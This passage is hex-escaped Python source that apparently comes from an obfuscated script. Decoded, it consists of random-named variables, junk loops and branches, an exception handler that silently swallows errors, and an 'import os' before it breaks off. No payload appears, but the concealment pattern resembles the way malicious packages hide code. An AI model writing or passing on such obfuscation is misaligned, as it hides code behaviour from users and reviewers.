59\x79\x48\x79\x4d\x53\x46\x4d\x77\x48\x4f\x77\x45\x59\x6e\x48\x76\x4a\x52\x53\x53\x52\x74\x7a\x79\x48\x4a\x69\x43\x49\x45\x57\x72\x52\x68\x76\x43\x50\x4f\x45\x49\x4f\x75\x45\x6b\x78\x4c\x45\x4f\x77\x43\x6e\x52\x48\x45\x47\x47\x51\x42\x44\x55\x73\x70\x6a\x58\x77\x56\x20\x3d\x20\x27\x53\x6b\x74\x69\x59\x44\x77\x48\x4f\x41\x5a\x54\x75\x52\x44\x43\x41\x6e\x79\x71\x43\x51\x47\x7a\x6e\x76\x44\x6e\x43\x50\x48\x51\x72\x49\x77\x74\x44\x48\x79\x47\x4f\x44\x65\x46\x52\x50\x57\x4f\x4d\x48\x52\x7a\x74\x47\x4a\x4d\x7a\x6e\x6f\x45\x47\x76\x70\x43\x74\x73\x46\x42\x52\x75\x4f\x75\x6e\x75\x4f\x6f\x69\x6f\x74\x52\x73\x58\x49\x50\x6d\x75\x53\x78\x6a\x43\x52\x76\x53\x53\x51\x6b\x45\x50\x6e\x48\x78\x4f\x7a\x42\x7a\x52\x79\x45\x76\x47\x73\x74\x6d\x4e\x71\x73\x44\x66\x70\x42\x78\x4a\x78\x48\x56\x65\x59\x27\x0a\x20\x20\x20\x20\x4a\x46\x48\x45\x52\x4d\x5a\x79\x50\x75\x67\x46\x53\x42\x53\x4f\x51\x76\x76\x48\x4d\x45\x57\x44\x5a\x7a\x43\x48\x6f\x52\x66\x43\x73\x74\x44\x6e\x64\x43\x78\x4a\x66\x50\x78\x75\x49\x78\x71\x6c\x6f\x55\x48\x79\x53\x69\x44\x73\x43\x47\x48\x42\x56\x78\x76\x6e\x6d\x6e\x45\x4f\x48\x6d\x41\x78\x6f\x4b\x41\x54\x46\x59\x71\x4d\x7a\x49\x6d\x4f\x4a\x48\x76\x74\x42\x76\x46\x76\x44\x41\x78\x46\x45\x6a\x43\x52\x4a\x72\x53\x71\x76\x49\x50\x70\x49\x54\x69\x71\x77\x50\x58\x79\x52\x4f\x4f\x73\x52\x43\x43\x76\x76\x52\x43\x20\x3d\x20\x27\x76\x45\x52\x44\x45\x71\x45\x47\x77\x41\x4a\x43\x51\x47\x53\x42\x70\x4d\x4a\x45\x78\x41\x4a\x77\x45\x47\x57\x48\x48\x66\x76\x6f\x4f\x50\x45\x51\x43\x46\x47\x48\x72\x47\x51\x51\x47\x41\x52\x44\x53\x6c\x56\x41\x49\x4f\x44\x4e\x43\x43\x76\x71\x75\x75\x71\x70\x53\x77\x6b\x46\x76\x69\x4a\x6d\x45\x4a\x70\x53\x6d\x68\x4d\x7a\x57\x72\x49\x46\x78\x46\x4a\x42\x77\x6e\x52\x4a\x74\x77\x74\x6f\x77\x56\x4e\x49\x44\x53\x42\x49\x75\x47\x41\x6b\x71\x74\x45\x48\x51\x75\x77\x51\x53\x6c\x41\x76\x42\x53\x46\x76\x73\x58\x6f\x27\x0a\x20\x20\x20\x20\x7a\x4a\x7a\x56\x75\x78\x74\x7a\x4a\x74\x78\x53\x48\x42\x41\x55\x51\x47\x59\x77\x43\x50\x79\x46\x69\x48\x5a\x7a\x44\x71\x7a\x52\x45\x6f\x46\x75\x76\x58\x78\x55\x72\x6d\x49\x7a\x6f\x52\x4a\x52\x6d\x77\x43\x52\x44\x43\x42\x59\x53\x42\x50\x44\x78\x4c\x4c\x52\x6c\x65\x65\x7a\x76\x47\x77\x45\x47\x48\x74\x47\x7a\x44\x57\x74\x5a\x76\x71\x53\x71\x41\x48\x47\x72\x59\x6a\x78\x4b\x4f\x6c\x41\x44\x4e\x74\x46\x51\x6c\x77\x72\x4d\x75\x48\x69\x79\x74\x4a\x45\x51\x55\x79\x59\x58\x69\x52\x52\x44\x47\x52\x79\x75\x53\x76\x20\x3d\x20\x27\x78\x4a\x47\x4a\x44\x44\x44\x47\x46\x70\x73\x4b\x55\x44\x52\x56\x6e\x5a\x6a\x53\x72\x4b\x7a\x6d\x57\x43\x53\x52\x51\x45\x52\x45\x42\x6d\x79\x41\x52\x72\x42\x79\x4a\x58\x70\x79\x42\x7a\x74\x43\x48\x49\x77\x47\x73\x7a\x61\x53\x75\x6b\x4a\x6e\x53\x51\x7a\x70\x51\x55\x42\x4e\x41\x6f\x4a\x73\x6c\x47\x76\x79\x4a\x6b\x6a\x72\x4f\x71\x56\x79\x42\x67\x41\x4d\x69\x47\x79\x43\x71\x74\x78\x47\x47\x49\x41\x57\x70\x79\x78\x74\x7a\x4d\x4a\x79\x49\x51\x46\x43\x48\x50\x71\x53\x7a\x54\x47\x73\x59\x4f\x65\x51\x46\x70\x69\x27\x0a\x20\x20\x20\x20\x49\x53\x52\x48\x41\x45\x44\x75\x75\x5a\x47\x49\x42\x6d\x75\x4e\x51\x4f\x67\x47\x48\x48\x77\x42\x41\x4f\x48\x46\x78\x6f\x72\x52\x6c\x78\x44\x79\x7a\x5a\x77\x42\x56\x41\x48\x6c\x6a\x4d\x6f\x6b\x57\x78\x59\x79\x58\x48\x77\x78\x53\x4e\x41\x70\x74\x75\x52\x51\x76\x47\x45\x44\x72\x51\x45\x79\x48\x69\x48\x6e\x50\x42\x78\x42\x47\x75\x47\x6c\x78\x51\x77\x47\x50\x47\x47\x72\x49\x54\x41\x4d\x79\x4b\x44\x6b\x42\x6c\x78\x49\x48\x52\x43\x43\x77\x79\x52\x7a\x52\x6e\x4a\x77\x78\x48\x49\x71\x47\x77\x68\x46\x47\x48\x53\x20\x3d\x20\x27\x44\x43\x4e\x4b\x72\x72\x4c\x52\x45\x76\x44\x43\x50\x47\x44\x79\x43\x65\x77\x56\x6d\x45\x72\x77\x76\x78\x6e\x49\x45\x4a\x7a\x41\x77\x56\x53\x46\x74\x48\x77\x42\x79\x47\x49\x6b\x79\x56\x7a\x47\x50\x44\x6d\x42\x4f\x68\x43\x45\x69\x78\x66\x47\x48\x52\x77\x70\x69\x43\x57\x46\x7a\x56\x65\x71\x6e\x45\x71\x4a\x57\x4a\x78\x48\x71\x48\x46\x4a\x43\x79\x42\x4a\x45\x74\x69\x79\x50\x44\x47\x58\x4f\x76\x4c\x69\x76\x79\x50\x45\x53\x47\x57\x4a\x5a\x53\x79\x52\x74\x49\x51\x75\x6c\x44\x6e\x42\x6a\x74\x49\x48\x47\x78\x69\x27\x0a\x20\x20\x20\x20\x48\x79\x4d\x52\x45\x75\x4a\x77\x74\x6b\x53\x43\x62\x7a\x44\x47\x79\x4a\x72\x48\x49\x76\x45\x53\x49\x79\x52\x4e\x54\x75\x41\x76\x6e\x51\x42\x74\x48\x41\x43\x6d\x65\x53\x6f\x4a\x6f\x47\x76\x54\x45\x75\x43\x45\x51\x48\x45\x75\x51\x42\x76\x48\x6c\x45\x4b\x79\x49\x67\x6e\x4a\x79\x50\x4a\x52\x53\x76\x78\x53\x72\x45\x51\x79\x49\x7a\x70\x75\x72\x79\x44\x4a\x51\x44\x43\x73\x68\x48\x48\x4a\x79\x41\x41\x77\x4a\x73\x48\x74\x49\x6b\x48\x47\x6a\x48\x69\x49\x79\x5a\x7a\x57\x4b\x46\x76\x71\x4a\x47\x5a\x77\x46\x76\x45\x20\x3d\x20\x27\x7a\x58\x74\x42\x78\x58\x53\x49\x44\x6a\x56\x48\x73\x50\x52\x65\x51\x4a\x47\x78\x44\x52\x79\x42\x74\x43\x48\x7a\x49\x70\x43\x79\x65\x51\x7a\x53\x6c\x52\x76\x4f\x47\x53\x46\x46\x51\x72\x53\x75\x43\x47\x4e\x42\x6b\x43\x79\x48\x48\x78\x53\x7a\x51\x74\x67\x49\x46\x74\x6c\x71\x44\x73\x77\x68\x74\x5a\x42\x51\x6d\x4e\x6b\x44\x7a\x54\x49\x74\x4a\x51\x6f\x41\x49\x71\x45\x77\x52\x78\x61\x78\x44\x48\x4f\x72\x69\x52\x6d\x52\x47\x53\x51\x79\x70\x44\x45\x4a\x6e\x51\x41\x49\x66\x51\x44\x57\x4a\x4a\x73\x49\x78\x74\x62\x27\x0a\x20\x20\x20\x20\x7a\x69\x52\x4a\x76\x59\x73\x45\x43\x5a\x6b\x44\x73\x4d\x76\x74\x49\x77\x47\x79\x78\x76\x46\x47\x78\x53\x79\x42\x47\x53\x44\x67\x54\x77\x72\x52\x79\x6e\x4d\x65\x70\x72\x53\x6e\x47\x50\x53\x45\x79\x47\x6d\x46\x76\x48\x50\x42\x42\x46\x72\x51\x46\x79\x52\x71\x52\x47\x42\x4a\x74\x52\x53\x41\x6e\x45\x4d\x53\x73\x42\x69\x41\x6e\x7a\x47\x76\x58\x46\x5a\x51\x4f\x44\x47\x44\x49\x51\x76\x44\x52\x77\x46\x55\x42\x48\x56\x47\x73\x42\x49\x77\x4a\x49\x79\x42\x6f\x61\x79\x78\x75\x74\x52\x50\x45\x7a\x52\x51\x47\x72\x48\x20\x3d\x20\x5b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x67\x41\x47\x45\x51\x76\x56\x73\x51\x76\x50\x75\x79\x4f\x72\x45\x46\x54\x7a\x68\x67\x51\x76\x7a\x44\x42\x75\x66\x6d\x77\x78\x51\x57\x51\x43\x42\x79\x78\x6b\x44\x41\x50\x79\x6f\x76\x74\x43\x4a\x74\x57\x44\x49\x4a\x4a\x52\x51\x48\x6d\x78\x74\x52\x71\x44\x47\x43\x48\x78\x4f\x4e\x72\x43\x49\x72\x71\x79\x41\x6a\x48\x48\x42\x6d\x45\x73\x52\x51\x46\x4e\x4a\x46\x4f\x50\x51\x76\x4b\x49\x6c\x47\x51\x51\x75\x74\x49\x47\x52\x47\x74\x47\x52\x72\x54\x6b\x4e\x46\x4a\x4d\x53\x44\x77\x79\x6f\x43\x78\x46\x46\x74\x73\x68\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x76\x45\x52\x44\x45\x71\x45\x47\x77\x41\x4a\x43\x51\x47\x53\x42\x70\x4d\x4a\x45\x78\x41\x4a\x77\x45\x47\x57\x48\x48\x66\x76\x6f\x4f\x50\x45\x51\x43\x46\x47\x48\x72\x47\x51\x51\x47\x41\x52\x44\x53\x6c\x56\x41\x49\x4f\x44\x4e\x43\x43\x76\x71\x75\x75\x71\x70\x53\x77\x6b\x46\x76\x69\x4a\x6d\x45\x4a\x70\x53\x6d\x68\x4d\x7a\x57\x72\x49\x46\x78\x46\x4a\x42\x77\x6e\x52\x4a\x74\x77\x74\x6f\x77\x56\x4e\x49\x44\x53\x42\x49\x75\x47\x41\x6b\x71\x74\x45\x48\x51\x75\x77\x51\x53\x6c\x41\x76\x42\x53\x46\x76\x73\x58\x6f\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x44\x43\x4e\x4b\x72\x72\x4c\x52\x45\x76\x44\x43\x50\x47\x44\x79\x43\x65\x77\x56\x6d\x45\x72\x77\x76\x78\x6e\x49\x45\x4a\x7a\x41\x77\x56\x53\x46\x74\x48\x77\x42\x79\x47\x49\x6b\x79\x56\x7a\x47\x50\x44\x6d\x42\x4f\x68\x43\x45\x69\x78\x66\x47\x48\x52\x77\x70\x69\x43\x57\x46\x7a\x56\x65\x71\x6e\x45\x71\x4a\x57\x4a\x78\x48\x71\x48\x46\x4a\x43\x79\x42\x4a\x45\x74\x69\x79\x50\x44\x47\x58\x4f\x76\x4c\x69\x76\x79\x50\x45\x53\x47\x57\x4a\x5a\x53\x79\x52\x74\x49\x51\x75\x6c\x44\x6e\x42\x6a\x74\x49\x48\x47\x78\x69\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x6d\x79\x45\x48\x73\x4c\x48\x46\x51\x4a\x4d\x41\x46\x70\x72\x44\x58\x53\x46\x47\x42\x4c\x57\x4d\x6b\x72\x4f\x45\x67\x7a\x51\x49\x48\x46\x6e\x49\x42\x53\x48\x6b\x78\x77\x79\x4f\x48\x79\x48\x6d\x66\x48\x48\x44\x50\x6d\x6c\x49\x76\x79\x42\x49\x46\x51\x48\x65\x42\x45\x48\x4f\x53\x42\x55\x47\x44\x44\x43\x45\x47\x41\x41\x45\x49\x79\x4f\x42\x4f\x59\x77\x6e\x47\x52\x52\x52\x49\x42\x69\x71\x71\x7a\x45\x70\x4a\x57\x48\x47\x41\x7a\x41\x4a\x46\x46\x4c\x6f\x77\x49\x43\x71\x78\x74\x77\x6e\x75\x79\x6c\x71\x51\x47\x6c\x27\x0a\x20\x20\x20\x20\x5d\x0a\x20\x20\x20\x20\x66\x6f\x72\x20\x73\x71\x6a\x53\x47\x72\x41\x43\x41\x43\x41\x43\x4f\x42\x66\x69\x46\x45\x66\x44\x76\x49\x43\x73\x77\x4c\x46\x50\x78\x6f\x41\x76\x73\x78\x43\x4a\x71\x56\x42\x72\x73\x72\x4f\x52\x52\x56\x42\x76\x52\x49\x47\x49\x52\x6c\x43\x54\x4f\x48\x54\x53\x4f\x45\x4e\x53\x6b\x74\x6a\x51\x48\x43\x50\x79\x45\x4f\x49\x78\x73\x4e\x61\x45\x44\x75\x44\x51\x48\x6c\x48\x77\x77\x43\x6c\x41\x52\x47\x67\x41\x74\x46\x52\x7a\x5a\x42\x44\x49\x70\x45\x57\x77\x48\x58\x45\x6f\x77\x43\x4e\x73\x68\x4a\x48\x77\x79\x46\x45\x76\x4b\x53\x70\x20\x69\x6e\x20\x48\x79\x4d\x52\x45\x75\x4a\x77\x74\x6b\x53\x43\x62\x7a\x44\x47\x79\x4a\x72\x48\x49\x76\x45\x53\x49\x79\x52\x4e\x54\x75\x41\x76\x6e\x51\x42\x74\x48\x41\x43\x6d\x65\x53\x6f\x4a\x6f\x47\x76\x54\x45\x75\x43\x45\x51\x48\x45\x75\x51\x42\x76\x48\x6c\x45\x4b\x79\x49\x67\x6e\x4a\x79\x50\x4a\x52\x53\x76\x78\x53\x72\x45\x51\x79\x49\x7a\x70\x75\x72\x79\x44\x4a\x51\x44\x43\x73\x68\x48\x48\x4a\x79\x41\x41\x77\x4a\x73\x48\x74\x49\x6b\x48\x47\x6a\x48\x69\x49\x79\x5a\x7a\x57\x4b\x46\x76\x71\x4a\x47\x5a\x77\x46\x76\x45\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x51\x7a\x7a\x46\x77\x46\x6a\x49\x47\x4a\x50\x70\x45\x52\x72\x48\x5a\x79\x69\x44\x76\x7a\x52\x55\x43\x73\x76\x42\x7a\x71\x44\x55\x52\x46\x55\x41\x4e\x6e\x47\x46\x72\x48\x7a\x7a\x6d\x53\x50\x55\x45\x73\x76\x41\x72\x77\x53\x4e\x75\x78\x44\x53\x59\x79\x48\x79\x4d\x53\x46\x4d\x77\x48\x4f\x77\x45\x59\x6e\x48\x76\x4a\x52\x53\x53\x52\x74\x7a\x79\x48\x4a\x69\x43\x49\x45\x57\x72\x52\x68\x76\x43\x50\x4f\x45\x49\x4f\x75\x45\x6b\x78\x4c\x45\x4f\x77\x43\x6e\x52\x48\x45\x47\x47\x51\x42\x44\x55\x73\x70\x6a\x58\x77\x56\x20\x69\x6e\x20\x4a\x46\x48\x45\x52\x4d\x5a\x79\x50\x75\x67\x46\x53\x42\x53\x4f\x51\x76\x76\x48\x4d\x45\x57\x44\x5a\x7a\x43\x48\x6f\x52\x66\x43\x73\x74\x44\x6e\x64\x43\x78\x4a\x66\x50\x78\x75\x49\x78\x71\x6c\x6f\x55\x48\x79\x53\x69\x44\x73\x43\x47\x48\x42\x56\x78\x76\x6e\x6d\x6e\x45\x4f\x48\x6d\x41\x78\x6f\x4b\x41\x54\x46\x59\x71\x4d\x7a\x49\x6d\x4f\x4a\x48\x76\x74\x42\x76\x46\x76\x44\x41\x78\x46\x45\x6a\x43\x52\x4a\x72\x53\x71\x76\x49\x50\x70\x49\x54\x69\x71\x77\x50\x58\x79\x52\x4f\x4f\x73\x52\x43\x43\x76\x76\x52\x43\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x7a\x4a\x7a\x56\x75\x78\x74\x7a\x4a\x74\x78\x53\x48\x42\x41\x55\x51\x47\x59\x77\x43\x50\x79\x46\x69\x48\x5a\x7a\x44\x71\x7a\x52\x45\x6f\x46\x75\x76\x58\x78\x55\x72\x6d\x49\x7a\x6f\x52\x4a\x52\x6d\x77\x43\x52\x44\x43\x42\x59\x53\x42\x50\x44\x78\x4c\x4c\x52\x6c\x65\x65\x7a\x76\x47\x77\x45\x47\x48\x74\x47\x7a\x44\x57\x74\x5a\x76\x71\x53\x71\x41\x48\x47\x72\x59\x6a\x78\x4b\x4f\x6c\x41\x44\x4e\x74\x46\x51\x6c\x77\x72\x4d\x75\x48\x69\x79\x74\x4a\x45\x51\x55\x79\x59\x58\x69\x52\x52\x44\x47\x52\x79\x75\x53\x76\x20\x3d\x3d\x20\x49\x53\x52\x48\x41\x45\x44\x75\x75\x5a\x47\x49\x42\x6d\x75\x4e\x51\x4f\x67\x47\x48\x48\x77\x42\x41\x4f\x48\x46\x78\x6f\x72\x52\x6c\x78\x44\x79\x7a\x5a\x77\x42\x56\x41\x48\x6c\x6a\x4d\x6f\x6b\x57\x78\x59\x79\x58\x48\x77\x78\x53\x4e\x41\x70\x74\x75\x52\x51\x76\x47\x45\x44\x72\x51\x45\x79\x48\x69\x48\x6e\x50\x42\x78\x42\x47\x75\x47\x6c\x78\x51\x77\x47\x50\x47\x47\x72\x49\x54\x41\x4d\x79\x4b\x44\x6b\x42\x6c\x78\x49\x48\x52\x43\x43\x77\x79\x52\x7a\x52\x6e\x4a\x77\x78\x48\x49\x71\x47\x77\x68\x46\x47\x48\x53\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x51\x7a\x7a\x46\x77\x46\x6a\x49\x47\x4a\x50\x70\x45\x52\x72\x48\x5a\x79\x69\x44\x76\x7a\x52\x55\x43\x73\x76\x42\x7a\x71\x44\x55\x52\x46\x55\x41\x4e\x6e\x47\x46\x72\x48\x7a\x7a\x6d\x53\x50\x55\x45\x73\x76\x41\x72\x77\x53\x4e\x75\x78\x44\x53\x59\x79\x48\x79\x4d\x53\x46\x4d\x77\x48\x4f\x77\x45\x59\x6e\x48\x76\x4a\x52\x53\x53\x52\x74\x7a\x79\x48\x4a\x69\x43\x49\x45\x57\x72\x52\x68\x76\x43\x50\x4f\x45\x49\x4f\x75\x45\x6b\x78\x4c\x45\x4f\x77\x43\x6e\x52\x48\x45\x47\x47\x51\x42\x44\x55\x73\x70\x6a\x58\x77\x56\x20\x3d\x20\x73\x71\x6a\x53\x47\x72\x41\x43\x41\x43\x41\x43\x4f\x42\x66\x69\x46\x45\x66\x44\x76\x49\x43\x73\x77\x4c\x46\x50\x78\x6f\x41\x76\x73\x78\x43\x4a\x71\x56\x42\x72\x73\x72\x4f\x52\x52\x56\x42\x76\x52\x49\x47\x49\x52\x6c\x43\x54\x4f\x48\x54\x53\x4f\x45\x4e\x53\x6b\x74\x6a\x51\x48\x43\x50\x79\x45\x4f\x49\x78\x73\x4e\x61\x45\x44\x75\x44\x51\x48\x6c\x48\x77\x77\x43\x6c\x41\x52\x47\x67\x41\x74\x46\x52\x7a\x5a\x42\x44\x49\x70\x45\x57\x77\x48\x58\x45\x6f\x77\x43\x4e\x73\x68\x4a\x48\x77\x79\x46\x45\x76\x4b\x53\x70\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x49\x53\x52\x48\x41\x45\x44\x75\x75\x5a\x47\x49\x42\x6d\x75\x4e\x51\x4f\x67\x47\x48\x48\x77\x42\x41\x4f\x48\x46\x78\x6f\x72\x52\x6c\x78\x44\x79\x7a\x5a\x77\x42\x56\x41\x48\x6c\x6a\x4d\x6f\x6b\x57\x78\x59\x79\x58\x48\x77\x78\x53\x4e\x41\x70\x74\x75\x52\x51\x76\x47\x45\x44\x72\x51\x45\x79\x48\x69\x48\x6e\x50\x42\x78\x42\x47\x75\x47\x6c\x78\x51\x77\x47\x50\x47\x47\x72\x49\x54\x41\x4d\x79\x4b\x44\x6b\x42\x6c\x78\x49\x48\x52\x43\x43\x77\x79\x52\x7a\x52\x6e\x4a\x77\x78\x48\x49\x71\x47\x77\x68\x46\x47\x48\x53\x20\x3d\x3d\x20\x51\x7a\x7a\x46\x77\x46\x6a\x49\x47\x4a\x50\x70\x45\x52\x72\x48\x5a\x79\x69\x44\x76\x7a\x52\x55\x43\x73\x76\x42\x7a\x71\x44\x55\x52\x46\x55\x41\x4e\x6e\x47\x46\x72\x48\x7a\x7a\x6d\x53\x50\x55\x45\x73\x76\x41\x72\x77\x53\x4e\x75\x78\x44\x53\x59\x79\x48\x79\x4d\x53\x46\x4d\x77\x48\x4f\x77\x45\x59\x6e\x48\x76\x4a\x52\x53\x53\x52\x74\x7a\x79\x48\x4a\x69\x43\x49\x45\x57\x72\x52\x68\x76\x43\x50\x4f\x45\x49\x4f\x75\x45\x6b\x78\x4c\x45\x4f\x77\x43\x6e\x52\x48\x45\x47\x47\x51\x42\x44\x55\x73\x70\x6a\x58\x77\x56\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x51\x7a\x7a\x46\x77\x46\x6a\x49\x47\x4a\x50\x70\x45\x52\x72\x48\x5a\x79\x69\x44\x76\x7a\x52\x55\x43\x73\x76\x42\x7a\x71\x44\x55\x52\x46\x55\x41\x4e\x6e\x47\x46\x72\x48\x7a\x7a\x6d\x53\x50\x55\x45\x73\x76\x41\x72\x77\x53\x4e\x75\x78\x44\x53\x59\x79\x48\x79\x4d\x53\x46\x4d\x77\x48\x4f\x77\x45\x59\x6e\x48\x76\x4a\x52\x53\x53\x52\x74\x7a\x79\x48\x4a\x69\x43\x49\x45\x57\x72\x52\x68\x76\x43\x50\x4f\x45\x49\x4f\x75\x45\x6b\x78\x4c\x45\x4f\x77\x43\x6e\x52\x48\x45\x47\x47\x51\x42\x44\x55\x73\x70\x6a\x58\x77\x56\x20\x3d\x20\x48\x79\x4d\x52\x45\x75\x4a\x77\x74\x6b\x53\x43\x62\x7a\x44\x47\x79\x4a\x72\x48\x49\x76\x45\x53\x49\x79\x52\x4e\x54\x75\x41\x76\x6e\x51\x42\x74\x48\x41\x43\x6d\x65\x53\x6f\x4a\x6f\x47\x76\x54\x45\x75\x43\x45\x51\x48\x45\x75\x51\x42\x76\x48\x6c\x45\x4b\x79\x49\x67\x6e\x4a\x79\x50\x4a\x52\x53\x76\x78\x53\x72\x45\x51\x79\x49\x7a\x70\x75\x72\x79\x44\x4a\x51\x44\x43\x73\x68\x48\x48\x4a\x79\x41\x41\x77\x4a\x73\x48\x74\x49\x6b\x48\x47\x6a\x48\x69\x49\x79\x5a\x7a\x57\x4b\x46\x76\x71\x4a\x47\x5a\x77\x46\x76\x45\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x49\x53\x52\x48\x41\x45\x44\x75\x75\x5a\x47\x49\x42\x6d\x75\x4e\x51\x4f\x67\x47\x48\x48\x77\x42\x41\x4f\x48\x46\x78\x6f\x72\x52\x6c\x78\x44\x79\x7a\x5a\x77\x42\x56\x41\x48\x6c\x6a\x4d\x6f\x6b\x57\x78\x59\x79\x58\x48\x77\x78\x53\x4e\x41\x70\x74\x75\x52\x51\x76\x47\x45\x44\x72\x51\x45\x79\x48\x69\x48\x6e\x50\x42\x78\x42\x47\x75\x47\x6c\x78\x51\x77\x47\x50\x47\x47\x72\x49\x54\x41\x4d\x79\x4b\x44\x6b\x42\x6c\x78\x49\x48\x52\x43\x43\x77\x79\x52\x7a\x52\x6e\x4a\x77\x78\x48\x49\x71\x47\x77\x68\x46\x47\x48\x53\x20\x3d\x20\x48\x79\x4d\x52\x45\x75\x4a\x77\x74\x6b\x53\x43\x62\x7a\x44\x47\x79\x4a\x72\x48\x49\x76\x45\x53\x49\x79\x52\x4e\x54\x75\x41\x76\x6e\x51\x42\x74\x48\x41\x43\x6d\x65\x53\x6f\x4a\x6f\x47\x76\x54\x45\x75\x43\x45\x51\x48\x45\x75\x51\x42\x76\x48\x6c\x45\x4b\x79\x49\x67\x6e\x4a\x79\x50\x4a\x52\x53\x76\x78\x53\x72\x45\x51\x79\x49\x7a\x70\x75\x72\x79\x44\x4a\x51\x44\x43\x73\x68\x48\x48\x4a\x79\x41\x41\x77\x4a\x73\x48\x74\x49\x6b\x48\x47\x6a\x48\x69\x49\x79\x5a\x7a\x57\x4b\x46\x76\x71\x4a\x47\x5a\x77\x46\x76\x45\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x51\x7a\x7a\x46\x77\x46\x6a\x49\x47\x4a\x50\x70\x45\x52\x72\x48\x5a\x79\x69\x44\x76\x7a\x52\x55\x43\x73\x76\x42\x7a\x71\x44\x55\x52\x46\x55\x41\x4e\x6e\x47\x46\x72\x48\x7a\x7a\x6d\x53\x50\x55\x45\x73\x76\x41\x72\x77\x53\x4e\x75\x78\x44\x53\x59\x79\x48\x79\x4d\x53\x46\x4d\x77\x48\x4f\x77\x45\x59\x6e\x48\x76\x4a\x52\x53\x53\x52\x74\x7a\x79\x48\x4a\x69\x43\x49\x45\x57\x72\x52\x68\x76\x43\x50\x4f\x45\x49\x4f\x75\x45\x6b\x78\x4c\x45\x4f\x77\x43\x6e\x52\x48\x45\x47\x47\x51\x42\x44\x55\x73\x70\x6a\x58\x77\x56\x20\x69\x6e\x20\x7a\x69\x52\x4a\x76\x59\x73\x45\x43\x5a\x6b\x44\x73\x4d\x76\x74\x49\x77\x47\x79\x78\x76\x46\x47\x78\x53\x79\x42\x47\x53\x44\x67\x54\x77\x72\x52\x79\x6e\x4d\x65\x70\x72\x53\x6e\x47\x50\x53\x45\x79\x47\x6d\x46\x76\x48\x50\x42\x42\x46\x72\x51\x46\x79\x52\x71\x52\x47\x42\x4a\x74\x52\x53\x41\x6e\x45\x4d\x53\x73\x42\x69\x41\x6e\x7a\x47\x76\x58\x46\x5a\x51\x4f\x44\x47\x44\x49\x51\x76\x44\x52\x77\x46\x55\x42\x48\x56\x47\x73\x42\x49\x77\x4a\x49\x79\x42\x6f\x61\x79\x78\x75\x74\x52\x50\x45\x7a\x52\x51\x47\x72\x48\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x46\x48\x45\x52\x4d\x5a\x79\x50\x75\x67\x46\x53\x42\x53\x4f\x51\x76\x76\x48\x4d\x45\x57\x44\x5a\x7a\x43\x48\x6f\x52\x66\x43\x73\x74\x44\x6e\x64\x43\x78\x4a\x66\x50\x78\x75\x49\x78\x71\x6c\x6f\x55\x48\x79\x53\x69\x44\x73\x43\x47\x48\x42\x56\x78\x76\x6e\x6d\x6e\x45\x4f\x48\x6d\x41\x78\x6f\x4b\x41\x54\x46\x59\x71\x4d\x7a\x49\x6d\x4f\x4a\x48\x76\x74\x42\x76\x46\x76\x44\x41\x78\x46\x45\x6a\x43\x52\x4a\x72\x53\x71\x76\x49\x50\x70\x49\x54\x69\x71\x77\x50\x58\x79\x52\x4f\x4f\x73\x52\x43\x43\x76\x76\x52\x43\x20\x3d\x20\x51\x7a\x7a\x46\x77\x46\x6a\x49\x47\x4a\x50\x70\x45\x52\x72\x48\x5a\x79\x69\x44\x76\x7a\x52\x55\x43\x73\x76\x42\x7a\x71\x44\x55\x52\x46\x55\x41\x4e\x6e\x47\x46\x72\x48\x7a\x7a\x6d\x53\x50\x55\x45\x73\x76\x41\x72\x77\x53\x4e\x75\x78\x44\x53\x59\x79\x48\x79\x4d\x53\x46\x4d\x77\x48\x4f\x77\x45\x59\x6e\x48\x76\x4a\x52\x53\x53\x52\x74\x7a\x79\x48\x4a\x69\x43\x49\x45\x57\x72\x52\x68\x76\x43\x50\x4f\x45\x49\x4f\x75\x45\x6b\x78\x4c\x45\x4f\x77\x43\x6e\x52\x48\x45\x47\x47\x51\x42\x44\x55\x73\x70\x6a\x58\x77\x56\x0a\x65\x78\x63\x65\x70\x74\x20\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3a\x0a\x20\x20\x20\x20\x70\x61\x73\x73\x0a\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x0a\x0a\x49\x4f\x5a\x79\x57\x79\x7a\x47\x6d\x74\x53\x79\x55\x47\x48\x59\x45\x73\x7a\x6c\x56\x47\x44\x78\x72\x49\x66\x65\x4a\x42\x6b\x50\x45\x49\x77\x57\x4f\x49\x73\x50\x75\x6d\x45\x6e\x72\x43\x53\x48\x79\x7a\x52\x75\x45\x6e\x4a\x41\x50\x71\x70\x53\x53\x53\x44\x77\x47\x52\x42\x46\x6c\x6f\x78\x55\x42\x52\x52\x6d\x56\x42\x52\x75\x72\x42\x69\x41\x4a\x70\x73\x49\x6f\x41\x6a\x46\x50\x4a\x7a\x49\x44\x4c\x73\x45\x47\x6c\x73\x48\x43\x6e\x47\x75\x79\x6a\x47\x59\x72\x51\x68\x44\x4c\x57\x6f\x47\x49\x53\x4e\x47\x4f\x66\x46\x20\x3d\x20\x27\x5a\x47\x6e\x6f\x48\x65\x6b\x46\x5a\x41\x73\x75\x53\x41\x4d\x6e\x76\x5a\x55\x51\x76\x49\x50\x78\x48\x41\x75\x4a\x7a\x51\x44\x4a\x4a\x55\x48\x44\x50\x45\x41\x74\x72\x56\x53\x73\x53\x77\x53\x50\x73\x42\x4a\x47\x52\x56\x47\x4f\x79\x